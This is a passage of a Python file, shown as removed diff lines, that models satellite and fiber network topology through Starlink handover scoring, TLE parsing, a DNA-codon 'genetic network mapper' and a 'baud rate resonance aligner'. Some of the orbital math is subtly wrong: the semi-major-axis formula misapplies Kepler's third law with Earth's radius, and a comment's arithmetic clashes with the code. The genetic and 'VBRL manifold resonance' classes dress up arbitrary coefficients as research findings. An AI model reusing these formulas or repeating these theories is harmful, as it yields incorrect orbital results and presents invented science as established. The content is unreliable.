overlap = self.identify_starlink_coverage_overlap(segment) - - if overlap['beam_coverage_available']: - # Calculate handover quality score - quality_score = ( - overlap['coverage_confidence'] * 0.6 + - (1.0 - overlap['best_station']['latency_ms'] / 50.0) * 0.4 - ) - - handover_candidates.append({ - 'segment_id': segment.get('segment_id'), - 'best_station': overlap['best_station']['station'], - 'quality_score': quality_score, - 'latency_ms': overlap['best_station']['latency_ms'], - 'coverage_confidence': overlap['coverage_confidence'] - }) - - # Sort by quality score - handover_candidates.sort(key=lambda x: x['quality_score'], reverse=True) - - # Select top candidates - optimal_handovers = handover_candidates[:10] - - return { - 'total_candidates': len(handover_candidates), - 'optimal_handovers': optimal_handovers, - 'average_quality_score': sum(h['quality_score'] for h in optimal_handovers) / len(optimal_handovers) if optimal_handovers else 0, - 'average_latency_ms': sum(h['latency_ms'] for h in optimal_handovers) / len(optimal_handovers) if optimal_handovers else 0 - } - - def calculate_backhaul_redundancy(self, network_topology: Dict[str, Any]) -> Dict[str, Any]: - """ - Calculate backhaul redundancy using Starlink as backup fiber path. - - Identifies network segments where Starlink can provide redundancy - for fiber optic backhaul. - """ - redundancy_analysis = [] - - for segment in network_topology.get('segments', []): - overlap = self.identify_starlink_coverage_overlap(segment) - - # Determine redundancy value - if overlap['beam_coverage_available']: - redundancy_value = overlap['coverage_confidence'] - - # Higher value for critical segments - if segment.get('type') == 'submarine_cable': - redundancy_value *= 1.5 - - redundancy_analysis.append({ - 'segment_id': segment.get('segment_id'), - 'redundancy_available': True, - 'redundancy_value': redundancy_value, - 'backup_station': overlap['best_station']['station'], - 'backup_latency_ms': overlap['best_station']['latency_ms'] - }) - else: - redundancy_analysis.append({ - 'segment_id': segment.get('segment_id'), - 'redundancy_available': False, - 'redundancy_value': 0.0 - }) - - # Calculate overall network redundancy - segments_with_redundancy = sum(1 for r in redundancy_analysis if r['redundancy_available']) - total_segments = len(redundancy_analysis) - network_redundancy = segments_with_redundancy / total_segments if total_segments > 0 else 0 - - return { - 'network_redundancy_percent': network_redundancy * 100, - 'segments_with_redundancy': segments_with_redundancy, - 'total_segments': total_segments, - 'segment_analysis': redundancy_analysis - } - - -class SatelliteRepeaterAlignment: - """ - Satellite backbone orientation and baseline repeater alignment system. - - Combines public satellite data (TLE, ephemeris, orbital adjustments) with ground-based - repeater infrastructure for enhanced network topology mapping confidence. - - Data Sources: - - Celestrak TLE data (public satellite catalog) - - Space-Track orbital element data - - Satellite operator published adjustments - - Ground station/repeater coordinate databases - """ - - def __init__(self): - # Public TLE data sources - self.tle_sources = { - 'celestrak': 'https://www.celestrak.com/NORAD/elements/', - 'space_track': 'https://www.space-track.org', - 'satnogs': 'https://db.satnogs.org/api/satellites/', - } - - # Major communication satellite constellations - self.satellite_constellations = { - 'starlink': { - 'altitude_km': 550, - 'inclination_deg': 53.0, - 'orbital_period_min': 95.0, - 'repeat_cycle_days': 1, - 'satellites_per_plane': 22, - 'num_planes': 72 - }, - 'oneweb': { - 'altitude_km': 1200, - 'inclination_deg': 87.9, - 'orbital_period_min': 109.0, - 'repeat_cycle_days': 7, - 'satellites_per_plane': 12, - 'num_planes': 12 - }, - 'kuiper': { - 'altitude_km': 630, - 'inclination_deg': 51.1, - 'orbital_period_min': 97.0, - 'repeat_cycle_days': 1, - 'satellites_per_plane': 18, - 'num_planes': 78 - }, - 'geostationary': { - 'altitude_km': 35786, - 'inclination_deg': 0.0, - 'orbital_period_min': 1436.0, - 'repeat_cycle_days': 1, - 'satellites_per_plane': 1, - 'num_planes': 1 - } - } - - # Baseline repeater categories - self.repeater_types = { - 'fiber_optic': { - 'spacing_km': 80, - 'type': 'optical_amplifier', - 'latency_ms': 0.4 - }, - 'satellite_ground': { - 'spacing_km': 1000, - 'type': 'earth_station', - 'latency_ms': 250 - }, - 'submarine_branching': { - 'spacing_km': 50, - 'type': 'branching_unit', - 'latency_ms': 0.25 - }, - 'terrestrial_regenerator': { - 'spacing_km': 40, - 'type': 'regenerator', - 'latency_ms': 0.2 - } - } - - # Orbital adjustment types - self.adjustment_types = { - 'station_keeping': 'Regular orbital corrections', - 'inclination_change': 'Orbital plane adjustment', - 'altitude_adjustment': 'Height correction', - 'phasing': 'In-plane position adjustment', - 'collision_avoidance': 'Emergency maneuver', - 'end_of_life': 'Deorbit maneuver' - } - - # Alignment confidence parameters - self.alignment_params = { - 'max_lookahead_hours': 48, - 'tolerance_km': 10, - 'elevation_threshold_deg': 10.0, - 'azimuth_tolerance_deg': 5.0, - 'time_tolerance_sec': 60 - } - - def parse_tle(self, tle_line1: str, tle_line2: str) -> Dict[str, Any]: - """ - Parse Two-Line Element (TLE) format satellite orbital data. - - Standard NORAD TLE format containing orbital elements for satellite positioning. - """ - # Extract satellite number from line 1 - sat_number = tle_line1[2:7].strip() - - # Extract epoch (year and day of year) from line 1 - epoch_year = int(tle_line1[18:20]) - epoch_day = float(tle_line1[20:32]) - - # Extract mean motion (revolutions per day) from line 2 - mean_motion = float(tle_line2[52:63]) - - # Extract eccentricity from line 2 - eccentricity = float("0." + tle_line2[26:33]) - - # Extract inclination (degrees) from line 2 - inclination = float(tle_line2[8:16]) - - # Extract RAAN (degrees) from line 2 - raan = float(tle_line2[17:25]) - - # Extract argument of perigee (degrees) from line 2 - arg_perigee = float(tle_line2[34:42]) - - # Extract mean anomaly (degrees) from line 2 - mean_anomaly = float(tle_line2[43:51]) - - # Calculate orbital period (minutes) - orbital_period = 1440.0 / mean_motion if mean_motion > 0 else 0 - - # Calculate semi-major axis (km) using Kepler's third law - earth_radius_km = 6371.0 - if orbital_period > 0: - semi_major_axis = ((earth_radius_km * orbital_period * 60 / (2 * math.pi))**2 * 398600.4418)**(1/3) - altitude = semi_major_axis - earth_radius_km - else: - semi_major_axis = 0 - altitude = 0 - - return { - 'satellite_number': sat_number, - 'epoch_year': epoch_year, - 'epoch_day': epoch_day, - 'mean_motion': mean_motion, - 'eccentricity': eccentricity, - 'inclination': inclination, - 'raan': raan, - 'arg_perigee': arg_perigee, - 'mean_anomaly': mean_anomaly, - 'orbital_period_min': orbital_period, - 'altitude_km': altitude, - 'semi_major_axis_km': semi_major_axis - } - - def propagate_orbit(self, tle_data: Dict[str, Any], - time_delta_hours: float) -> Dict[str, Any]: - """ - Propagate satellite orbit forward in time using simplified Keplerian propagation. - - Estimates satellite position after time delta from TLE epoch. - """ - # Convert time delta to orbital periods - orbital_period_hours = tle_data['orbital_period_min'] / 60.0 - periods_elapsed = time_delta_hours / orbital_period_hours if orbital_period_hours > 0 else 0 - - # Update mean anomaly - new_mean_anomaly = (tle_data['mean_anomaly'] + 360.0 * periods_elapsed) % 360.0 - - # Simplified position calculation (circular orbit approximation) - if tle_data['eccentricity'] < 0.01: # Nearly circular - # Calculate true anomaly (approximate for low eccentricity) - true_anomaly = new_mean_anomaly - - # Calculate radius (constant for circular) - radius = tle_data['semi_major_axis_km'] - - # Calculate position in orbital plane - x_orbital = radius * math.cos(math.radians(true_anomaly)) - y_orbital = radius * math.sin(math.radians(true_anomaly)) - - # Rotate to ECI frame using inclination and RAAN - inc_rad = math.radians(tle_data['inclination']) - raan_rad = math.radians(tle_data['raan']) - arg_perigee_rad = math.radians(tle_data['arg_perigee']) - - # 3D rotation (simplified) - x_eci = (math.cos(raan_rad) * math.cos(arg_perigee_rad) - - math.sin(raan_rad) * math.sin(arg_perigee_rad) * math.cos(inc_rad)) * x_orbital + \ - (-math.cos(raan_rad) * math.sin(arg_perigee_rad) - - math.sin(raan_rad) * math.cos(arg_perigee_rad) * math.cos(inc_rad)) * y_orbital - - y_eci = (math.sin(raan_rad) * math.cos(arg_perigee_rad) + - math.cos(raan_rad) * math.sin(arg_perigee_rad) * math.cos(inc_rad)) * x_orbital + \ - (-math.sin(raan_rad) * math.sin(arg_perigee_rad) + - math.cos(raan_rad) * math.cos(arg_perigee_rad) * math.cos(inc_rad)) * y_orbital - - z_eci = (math.sin(arg_perigee_rad) * math.sin(inc_rad)) * x_orbital + \ - (math.cos(arg_perigee_rad) * math.sin(inc_rad)) * y_orbital - - # Convert to latitude/longitude (simplified) - latitude = math.degrees(math.asin(z_eci / radius)) - longitude = math.degrees(math.atan2(y_eci, x_eci)) - - return { - 'latitude': latitude, - 'longitude': longitude, - 'altitude_km': tle_data['altitude_km'], - 'time_delta_hours': time_delta_hours, - 'true_anomaly': true_anomaly - } - else: - # For eccentric orbits, return placeholder - return { - 'latitude': 0.0, - 'longitude': 0.0, - 'altitude_km': tle_data['altitude_km'], - 'time_delta_hours': time_delta_hours, - 'true_anomaly': new_mean_anomaly, - 'note': 'Eccentric orbit - simplified propagation' - } - - def calculate_visibility(self, satellite_pos: Dict[str, float], - ground_station: Tuple[float, float, float]) -> Dict[str, float]: - """ - Calculate satellite visibility from ground station. - - Returns elevation, azimuth, and visibility metrics. - """ - sat_lat = math.radians(satellite_pos['latitude']) - sat_lon = math.radians(satellite_pos['longitude']) - sat_alt = satellite_pos['altitude_km'] - - station_lat = math.radians(ground_station[0]) - station_lon = math.radians(ground_station[1]) - station_alt = ground_station[2] / 1000.0 # Convert to km - - # Earth radius - earth_radius = 6371.0 - - # Convert to ECEF coordinates - sat_r = earth_radius + sat_alt - station_r = earth_radius + station_alt - - sat_x = sat_r * math.cos(sat_lat) * math.cos(sat_lon) - sat_y = sat_r * math.cos(sat_lat) * math.sin(sat_lon) - sat_z = sat_r * math.sin(sat_lat) - - station_x = station_r * math.cos(station_lat) * math.cos(station_lon) - station_y = station_r * math.cos(station_lat) * math.sin(station_lon) - station_z = station_r * math.sin(station_lat) - - # Vector from station to satellite - dx = sat_x - station_x - dy = sat_y - station_y - dz = sat_z - station_z - - # Calculate elevation - # Local horizontal plane normal vector - horizon_normal_x = math.cos(station_lat) * math.cos(station_lon) - horizon_normal_y = math.cos(station_lat) * math.sin(station_lon) - horizon_normal_z = math.sin(station_lat) - - # Dot product for elevation angle - dot_product = dx * horizon_normal_x + dy * horizon_normal_y + dz * horizon_normal_z - distance = math.sqrt(dx**2 + dy**2 + dz**2) - - elevation_rad = math.asin(dot_product / distance) if distance > 0 else 0 - elevation_deg = math.degrees(elevation_rad) - - # Calculate azimuth - # Local east and north vectors - east_x = -math.sin(station_lon) - east_y = math.cos(station_lon) - east_z = 0 - - north_x = -math.sin(station_lat) * math.cos(station_lon) - north_y = -math.sin(station_lat) * math.sin(station_lon) - north_z = math.cos(station_lat) - - # Project satellite vector onto horizontal plane - horizontal_dot = dot_product - horizontal_dx = dx - horizontal_dot * horizon_normal_x - horizontal_dy = dy - horizontal_dot * horizon_normal_y - horizontal_dz = dz - horizontal_dot * horizon_normal_z - - # Azimuth from north - azimuth_north = horizontal_dx * north_x + horizontal_dy * north_y + horizontal_dz * north_z - azimuth_east = horizontal_dx * east_x + horizontal_dy * east_y + horizontal_dz * east_z - - azimuth_rad = math.atan2(azimuth_east, azimuth_north) - azimuth_deg = math.degrees(azimuth_rad) % 360 - - # Check visibility (above elevation threshold) - is_visible = elevation_deg >= self.alignment_params['elevation_threshold_deg'] - - return { - 'elevation_deg': elevation_deg, - 'azimuth_deg': azimuth_deg, - 'distance_km': distance, - 'is_visible': is_visible, - 'visibility_duration_min': self._estimate_visibility_duration(elevation_deg, sat_alt) - } - - def _estimate_visibility_duration(self, elevation_deg: float, altitude_km: float) -> float: - """Estimate visibility duration based on elevation and altitude.""" - if elevation_deg < self.alignment_params['elevation_threshold_deg']: - return 0.0 - - # Simplified estimate based on orbital mechanics - # Higher altitude = longer visibility - orbital_velocity = math.sqrt(398600.4418 / (6371.0 + altitude_km)) # km/s - horizon_distance = math.sqrt(2 * 6371.0 * altitude_km + altitude_km**2) - visibility_duration = (2 * horizon_distance) / orbital_velocity / 60.0 # minutes - - # Adjust for elevation (higher elevation = longer visibility) - elevation_factor = math.sin(math.radians(elevation_deg)) - return visibility_duration * elevation_factor - - def align_satellite_to_repeater(self, tle_data: Dict[str, float], - repeater_coords: Tuple[float, float, float], - adjustment_data: Optional[Dict] = None) -> Dict[str, Any]: - """ - Align satellite positioning with baseline repeater infrastructure. - - Combines orbital propagation, visibility calculation, and adjustment data - to determine optimal alignment windows. - """ - # Propagate orbit to current time - current_pos = self.propagate_orbit(tle_data, 0) - - # Calculate visibility - visibility = self.calculate_visibility(current_pos, repeater_coords) - - # Apply adjustment corrections if available - if adjustment_data: - adjusted_pos = self._apply_orbital_adjustments(current_pos, adjustment_data) - adjusted_visibility = self.calculate_visibility(adjusted_pos, repeater_coords) - else: - adjusted_pos = current_pos - adjusted_visibility = visibility - - # Calculate alignment confidence - alignment_confidence = self._calculate_alignment_confidence( - visibility, adjusted_visibility, adjustment_data - ) - - # Predict future alignment windows - future_windows = self._predict_alignment_windows( - tle_data, repeater_coords, adjustment_data - ) - - return { - 'satellite_position': current_pos, - 'visibility': visibility, - 'adjusted_position': adjusted_pos, - 'adjusted_visibility': adjusted_visibility, - 'alignment_confidence': alignment_confidence, - 'future_windows': future_windows, - 'repeater_coordinates': repeater_coords - } - - def _apply_orbital_adjustments(self, position: Dict[str, float], - adjustment_data: Dict) -> Dict[str, float]: - """Apply published orbital adjustments to satellite position.""" - adjusted_pos = position.copy() - - if 'inclination_change_deg' in adjustment_data: - adjusted_pos['latitude'] += adjustment_data['inclination_change_deg'] - - if 'altitude_change_km' in adjustment_data: - adjusted_pos['altitude_km'] += adjustment_data['altitude_change_km'] - - if 'longitude_shift_deg' in adjustment_data: - adjusted_pos['longitude'] += adjustment_data['longitude_shift_deg'] - - return adjusted_pos - - def _calculate_alignment_confidence(self, visibility: Dict, - adjusted_visibility: Dict, - adjustment_data: Optional[Dict]) -> float: - """Calculate confidence score for satellite-repeater alignment.""" - # Base confidence from visibility - if visibility['is_visible']: - base_confidence = 0.7 - else: - base_confidence = 0.3 - - # Elevation bonus - elevation_bonus = min(visibility['elevation_deg'] / 90.0, 0.2) - - # Adjustment confidence - if adjustment_data: - adjustment_confidence = 0.1 - else: - adjustment_confidence = 0.0 - - # Total confidence - total_confidence = base_confidence + elevation_bonus + adjustment_confidence - - return min(total_confidence, 1.0) - - def _predict_alignment_windows(self, tle_data: Dict[str, float], - repeater_coords: Tuple[float, float, float], - adjustment_data: Optional[Dict]) -> List[Dict]: - """Predict future alignment windows for satellite-repeater pairs.""" - windows = [] - - # Check alignment at regular intervals - for hours in range(1, self.alignment_params['max_lookahead_hours'] + 1): - pos = self.propagate_orbit(tle_data, hours) - vis = self.calculate_visibility(pos, repeater_coords) - - if vis['is_visible']: - windows.append({ - 'start_time_hours': hours, - 'duration_min': vis['visibility_duration_min'], - 'elevation_deg': vis['elevation_deg'], - 'azimuth_deg': vis['azimuth_deg'] - }) - - return windows - - -class GeneticNetworkMapper: - """ - Genetic communications signal theory applied to network topology inference. - - Steals signal theories from genetic communications to improve fiber optic network mapping: - - DNA/RNA alphabets as network symbol encoding - - Codon translation for routing path interpretation - - Alignment primitives for route comparison - - Variant detection for infrastructure changes - - Regulatory gates for peering point identification - - Compression primitives for efficient network representation - - Fitness-entropy compensation for confidence scoring - """ - - def __init__(self): - # Network DNA alphabet (4-symbol discrete sequence primitive) - self.network_dna_alphabet = { - 'A': 'AS_path_marker', # Autonomous System path - 'C': 'Cable_segment', # Physical cable segment - 'G': 'Geographic_hop', # Geographic routing hop - 'T': 'Temporal_marker', # Timing/congestion marker - 'N': 'Unknown_state', # Unresolved network state - '-': 'Gap/missing', # Alignment gap or missing data - } - - # Network codon table (triplet-to-action mapping) - self.network_codon_table = { - # Peering point codons - 'AAA': 'major_ixp_crossing', - 'AAC': 'regional_peering', - 'AAG': 'transit_provider', - 'AAT': 'content_delivery_network', - - # Cable type codons - 'ACA': 'submarine_cable', - 'ACC': 'terrestrial_fiber', - 'ACG': 'aerial_cable', - 'ACT': 'satellite_link', - - # Geographic codons - 'AGA': 'continental_crossing', - 'AGC': 'ocean_crossing', - 'AGG': 'urban_densification', - 'AGT': 'rural_last_mile', - - # Temporal codons - 'ATA': 'peak_hour_congestion', - 'ATC': 'maintenance_window', - 'ATG': 'normal_operation', - 'ATT': 'failure_event', - - # Stop codons (path termination) - 'TAA': 'path_complete', - 'TAG': 'path_blocked', - 'TGA': 'path_diverted', - } - - # Network SNP (Single Network Polymorphism) detection - self.network_snp_types = { - 'route_snp': 'single_hop substitution in AS path', - 'latency_snp': 'RTT value mutation', - 'bandwidth_snp': 'capacity change', - 'peering_snp': 'new/lost peering relationship', - } - - # Fitness-entropy compensation parameters (from bioRxiv integration) - self.fitness_entropy_params = { - 'f_max': 1.0, # Maximum fitness - 'alpha': 0.5, # Entropy penalty coefficient - 'delta_G': 0.0, # Gibbs free energy change - 'delta_H': 0.0, # Enthalpy change - 'T': 300.0, # Temperature (arbitrary units) - 'delta_S': 0.0, # Entropy change - } - - # Genomic compression parameters for network data - self.genomic_compression_params = { - 'rho_seq_sq': 0.95, # sequence alignment accuracy (route accuracy) - 'v_epigenetic_sq': 0.8, # methylation dynamics (traffic pattern changes) - 'tau_structure_sq': 0.7, # 3D folding tension (topological constraints) - 'sigma_entropy_sq': 0.6, # nucleotide diversity (path diversity) - 'q_conservation_sq': 0.9, # evolutionary constraint (protocol constraints) - 'kappa_hierarchy_sq': 0.5, # chromatin levels (network hierarchy) - 'epsilon_mutation': 0.01, # mutation rate (network change rate) - } - - # IUPAC-style ambiguity codes for network uncertainty - self.network_ambiguity = { - 'R': 'A_or_G', # Purine class (AS or geographic) - 'Y': 'C_or_T', # Pyrimidine class (cable or temporal) - 'S': 'G_or_C', # Strong class (geographic or cable) - 'W': 'A_or_T', # Weak class (AS or temporal) - 'K': 'G_or_T', # Keto class (geographic or temporal) - 'M': 'A_or_C', # Amino class (AS or cable) - 'B': 'C_or_G_or_T', # Not A - 'D': 'A_or_G_or_T', # Not C - 'H': 'A_or_C_or_T', # Not G - 'V': 'A_or_C_or_G', # Not T - } - - def encode_network_path_as_dna(self, as_path: List[str], - cable_type: str, - geography: str, - timing: str) -> str: - """ - Encode network path as DNA sequence using 4-symbol alphabet. - - Maps network properties to DNA bases for genetic analysis. - """ - dna_sequence = [] - - # Encode AS path - for as_hop in as_path: - dna_sequence.append('A') # Each AS hop gets an 'A' - - # Encode cable type - if cable_type == 'submarine': - dna_sequence.append('C') - elif cable_type == 'terrestrial': - dna_sequence.append('C') - elif cable_type == 'aerial': - dna_sequence.append('C') - else: - dna_sequence.append('N') # Unknown - - # Encode geography - if 'ocean' in geography.lower(): - dna_sequence.append('G') - elif 'continental' in geography.lower(): - dna_sequence.append('G') - else: - dna_sequence.append('N') - - # Encode timing - if 'peak' in timing.lower(): - dna_sequence.append('T') - elif 'maintenance' in timing.lower(): - dna_sequence.append('T') - else: - dna_sequence.append('N') - - return ''.join(dna_sequence) - - def translate_network_codon(self, dna_triplet: str) -> str: - """ - Translate DNA triplet to network action using codon table. - - Analogous to biological codon translation for protein synthesis. - """ - return self.network_codon_table.get(dna_triplet, 'unknown_codon') - - def detect_network_snp(self, baseline_path: str, - observed_path: str) -> Dict[str, Any]: - """ - Detect Single Network Polymorphisms (SNPs) between baseline and observed paths. - - Identifies mutations in network topology. - """ - if len(baseline_path) != len(observed_path): - return {'error': 'Path length mismatch'} - - snps = [] - for i, (base, obs) in enumerate(zip(baseline_path, observed_path)): - if base != obs: - snp_type = self._classify_snp(base, obs) - snps.append({ - 'position': i, - 'baseline': base, - 'observed': obs, - 'type': snp_type - }) - - return { - 'snp_count': len(snps), - 'snps': snps, - 'mutation_rate': len(snps) / len(baseline_path) if baseline_path else 0 - } - - def _classify_snp(self, baseline: str, observed: str) -> str: - """Classify SNP type based on base change.""" - if baseline == 'A' and observed != 'A': - return 'route_snp' - elif baseline == 'C' and observed != 'C': - return 'bandwidth_snp' - elif baseline == 'G' and observed != 'G': - return 'geographic_snp' - elif baseline == 'T' and observed != 'T': - return 'temporal_snp' - else: - return 'unknown_snp' - - def calculate_fitness_entropy_compensation(self, fitness: float, - entropy: float) -> float: - """ - Apply fitness-entropy compensation from bioRxiv research. - - f = f_max - α × H - ΔG = ΔH - TΔS - """ - compensated_fitness = self.fitness_entropy_params['f_max'] - \ - self.fitness_entropy_params['alpha'] * entropy - - # Gibbs free energy compensation - delta_G = self.fitness_entropy_params['delta_H'] - \ - self.fitness_entropy_params['T'] * self.fitness_entropy_params['delta_S'] - - return compensated_fitness + delta_G - - def calculate_genomic_weight(self, route_accuracy: float, - traffic_dynamics: float, - topological_constraints: float, - path_diversity: float, - protocol_constraints: float, - network_hierarchy: float, - change_rate: float) -> float: - """ - Calculate genomic weight for network confidence scoring. - - From DSP erasure coding theory genomic compression parameters. - """ - genomic_weight = ( - route_accuracy + - traffic_dynamics + - topological_constraints + - path_diversity + - protocol_constraints - ) / ( - (1 + network_hierarchy**2) * - (1 + change_rate) - ) - - return genomic_weight - - def network_alignment_score(self, path1: str, path2: str) -> Dict[str, float]: - """ - Calculate network alignment score using genetic alignment primitives. - - Analogous to pairwise sequence alignment in genomics. - """ - if len(path1) != len(path2): - # Handle length mismatch with gap penalties - max_len = max(len(path1), len(path2)) - path1 = path1.ljust(max_len, '-') - path2 = path2.ljust(max_len, '-') - - matches = 0 - mismatches = 0 - gaps = 0 - - for b1, b2 in zip(path1, path2): - if b1 == '-' or b2 == '-': - gaps += 1 - elif b1 == b2: - matches += 1 - else: - mismatches += 1 - - total = len(path1) - identity = matches / total if total > 0 else 0 - similarity = (matches + 0.5 * mismatches) / total if total > 0 else 0 - - return { - 'identity': identity, - 'similarity': similarity, - 'matches': matches, - 'mismatches': mismatches, - 'gaps': gaps, - 'alignment_length': total - } - - def infer_regulatory_gates(self, network_dna: str) -> List[str]: - """ - Infer regulatory gates (peering points, bottlenecks) from network DNA. - - Analogous to promoter/enhancer detection in genomics. - """ - regulatory_gates = [] - - # Scan for promoter-like patterns - for i in range(len(network_dna) - 2): - codon = network_dna[i:i+3] - action = self.translate_network_codon(codon) - - if 'ixp' in action or 'peering' in action: - regulatory_gates.append({ - 'position': i, - 'codon': codon, - 'action': action, - 'type': 'promoter' - }) - elif 'blocked' in action or 'diverted' in action: - regulatory_gates.append({ - 'position': i, - 'codon': codon, - 'action': action, - 'type': 'terminator' - }) - - return regulatory_gates - - def apply_ambiguity_encoding(self, confidence: float) -> str: - """ - Apply IUPAC-style ambiguity encoding based on confidence. - - Low confidence gets ambiguity codes instead of exact bases. - """ - if confidence >= 0.95: - return 'exact' # Use exact A,C,G,T - elif confidence >= 0.8: - return 'R' # Purine class ambiguity - elif confidence >= 0.6: - return 'Y' # Pyrimidine class ambiguity - elif confidence >= 0.4: - return 'N' # Complete ambiguity - else: - return '-' # Gap/missing data - - -class BaudRateResonanceAligner: - """ - Baud rate resonance aligner based on Virtual Baud Reconstruction Layer (VBRL) research. - - Integrates baud rate concepts with resonant frequency alignments using: - - VBRL multi-lane architecture (DATA, CTRL, CLOCK, REPAIR, WITNESS) - - Virtual baud clock / reconstruction tick index - - Braid type interpretation for manifold resonance - - Signal reconstruction as controlled by resonance alignment - """ - - def __init__(self): - # VBRL lane architecture mapping to resonance hierarchy - self.vbrl_lanes = { - 'DATA': { - 'description': 'glyphs, literals, eigen descriptors', - 'resonance_mapping': 'L1_information', - 'frequency_range': (100, 10000) # Hz - }, - 'CTRL': { - 'description': 'mode switches, kernel calls, page/domain structure', - 'resonance_mapping': 'L4_topological', - 'frequency_range': (1, 100) # Hz - control signals - }, - 'CLOCK': { - 'description': 'frame, block, tick, and phase boundaries', - 'resonance_mapping': 'L2_cognitive', - 'frequency_range': (10, 1000) # Hz - timing references - }, - 'REPAIR': { - 'description': 'residual bytes, checksums, patch operations', - 'resonance_mapping': 'L5_thermodynamic', - 'frequency_range': (0.1, 10) # Hz - slow repair cycles - }, - 'WITNESS': { - 'description': 'type, manifold, O-AMMR, ENE, and hash receipts', - 'resonance_mapping': 'L3_geometric', - 'frequency_range': (0.01, 1) # Hz - witness checkpoints - } - } - - # Standard baud rates and their resonance characteristics - self.standard_baud_rates = { - 300: {'description': 'Very low speed', 'resonant_harmonic': 1}, - 1200: {'description': 'Low speed', 'resonant_harmonic': 4}, - 2400: {'description': 'Medium-low speed', 'resonant_harmonic': 8}, - 4800: {'description': 'Medium speed', 'resonant_harmonic': 16}, - 9600: {'description': 'Standard serial', 'resonant_harmonic': 32}, - 19200: {'description': 'High speed serial', 'resonant_harmonic': 64}, - 38400: {'description': 'Very high speed', 'resonant_harmonic': 128}, - 57600: {'description': 'Ultra high speed', 'resonant_harmonic': 192}, - 115200: {'description': 'Maximum standard UART', 'resonant_harmonic': 384} - } - - # Virtual baud clock parameters - self.virtual_baud_base = 115200 # Base virtual baud rate - self.reconstruction_tick_divider = 16 # From UART hardware (27MHz / 115200 = 234) - - # Braid type interpretation parameters - self.braid_coupling_coefficients = { - 'DATA_strand': 0.35, - 'CTRL_strand': 0.25, - 'CLOCK_strand': 0.20, - 'REPAIR_strand': 0.10, - 'WITNESS_strand': 0.10 - } - - def baud_to_resonant_frequency(self, baud_rate: float, harmonic: int = 1) -> float: - """ - Convert baud rate to resonant frequency. - - Baud rate (symbols/sec) maps to resonant frequency through harmonic relationships. - Higher baud rates create higher resonant harmonics. - """ - base_frequency = baud_rate / 1000.0 # Convert to kHz - resonant_freq = base_frequency * harmonic - return resonant_freq - - def virtual_baud_tick_to_phase(self, tick_index: int) -> float: - """ - Convert virtual baud tick index to phase. - - Virtual baud clock provides phase alignment for resonance. - """ - phase = (tick_index % self.reconstruction_tick_divider) / self.reconstruction_tick_divider - return phase * 2 * math.pi # Convert to radians - - def lane_resonance_score(self, lane_name: str, frequency: float) -> float: - """ - Calculate resonance score for a specific VBRL lane at given frequency. - - Maps VBRL lanes to resonance hierarchy levels and scores alignment. - """ - if lane_name not in self.vbrl_lanes: - return 0.0 - - lane_info = self.vbrl_lanes[lane_name] - freq_range = lane_info['frequency_range'] - - # Check if frequency is within lane's resonant range - if freq_range[0] <= frequency <= freq_range[1]: - # Normalized position within range (0-1) - normalized_pos = (frequency - freq_range[0]) / (freq_range[1] - freq_range[0]) - # Peak resonance at center of range (parabolic) - center_score = 1.0 - 4 * (normalized_pos - 0.5)**2 - return max(0.0, center_score) - else: - return 0.0 - - def braid_resonance_coupling(self, strand_weights: Dict[str, float]) -> float: - """ - Calculate braid resonance coupling from strand weights. - - Braid type interpretation for manifold resonance using weighted strand coupling. - """ - total_coupling = 0.0 - for strand, weight in strand_weights.items(): - if strand in self.braid_coupling_coefficients: - total_coupling += weight * self.braid_coupling_coefficients[strand] - return total_coupling - - def baud_resonance_alignment(self, baud_rate: float, - target_frequency: float, - phase_offset: float = 0.0) -> Dict[str, float]: - """ - Calculate baud-resonance alignment metrics. - - Measures how well a given baud rate aligns with target resonant frequency. - """ - # Convert baud to resonant frequency - baud_resonant = self.baud_to_resonant_frequency(baud_rate) - - # Calculate frequency alignment (Lorentzian profile) - detuning = abs(baud_resonant - target_frequency) - frequency_alignment = 1.0 / (1.0 + detuning**2) - - # Calculate phase alignment - phase_alignment = math.cos(phase_offset)**2 - - # Calculate harmonic alignment - harmonic_ratio = target_frequency / baud_resonant if baud_resonant > 0 else 0 - harmonic_alignment = 1.0 / (1.0 + (harmonic_ratio - round(harmonic_ratio))**2) - - return { - 'baud_resonant_frequency': baud_resonant, - 'frequency_alignment': frequency_alignment, - 'phase_alignment': phase_alignment, - 'harmonic_alignment': harmonic_alignment, - 'total_alignment': (frequency_alignment + phase_alignment + harmonic_alignment) / 3.0 - } - - def multi_lane_baud_filter(self, frequency_spectrum: np.ndarray, - baud_rate: float, - tick_index: int = 0) -> np.ndarray: - """ - Apply multi-lane baud filtering across frequency spectrum. - - Combines VBRL lane architecture with baud-resonance alignment. - """ - filtered_spectrum = np.zeros_like(frequency_spectrum) - phase = self.virtual_baud_tick_to_phase(tick_index) - - for i, frequency in enumerate(frequency_spectrum): - lane_scores = {} - for lane_name in self.vbrl_lanes.keys(): - lane_scores[lane_name] = self.lane_resonance_score(lane_name, frequency) - - # Calculate baud-resonance alignment - baud_alignment = self.baud_resonance_alignment(baud_rate, frequency, phase) - - # Combine lane scores with baud alignment - combined_score = sum(lane_scores.values()) / len(lane_scores) - combined_score *= baud_alignment['total_alignment'] - - filtered_spectrum[i] = frequency_spectrum[i] * combined_score - - return filtered_spectrum - - def vbrl_manifold_read_shape(self, data_lane: np.ndarray, - ctrl_lane: np.ndarray, - clock_lane: np.ndarray, - repair_lane: np.ndarray, - witness_lane: np.ndarray) -> np.ndarray: - """ - Apply VBRL manifold read shape to multi-lane data. - - Braid-type interpretation where lanes cross rather than being linear. - """ - # Normalize lanes - data_norm = data_lane / (np.max(np.abs(data_lane)) + 1e-9) - ctrl_norm = ctrl_lane / (np.max(np.abs(ctrl_lane)) + 1e-9) - clock_norm = clock_lane / (np.max(np.abs(clock_lane)) + 1e-9) - repair_norm = repair_lane / (np.max(np.abs(repair_lane)) + 1e-9) - witness_norm = witness_lane / (np.max(np.abs(witness_lane)) + 1e-9) - - # Apply braid coupling coefficients - manifold_output = ( - self.braid_coupling_coefficients['DATA_strand'] * data_norm + - self.braid_coupling_coefficients['CTRL_strand'] * ctrl_norm + - self.braid_coupling_coefficients['CLOCK_strand'] * clock_norm + - self.braid_coupling_coefficients['REPAIR_strand'] * repair_norm + - self.braid_coupling_coefficients['WITNESS_strand'] * witness_norm - ) - - return manifold_output - - -class GlobalFiberOpticMap: - """ - Global registry of fiber optic cable maps and data sources. - - Catalogs available maps and provides interfaces for accessing cable infrastructure data. - """ - - def __init__(self): - self.maps = { - 'submarine_cable_map': { - 'url': 'https://www.submarinecablemap.com/', - 'type': 'submarine', - 'coverage': 'global', - 'api_available': True - }, - 'telegeography_2025': { - 'url': 'https://submarine-cable-map-2025.telegeography.com/', - 'type': 'submarine', - 'coverage': 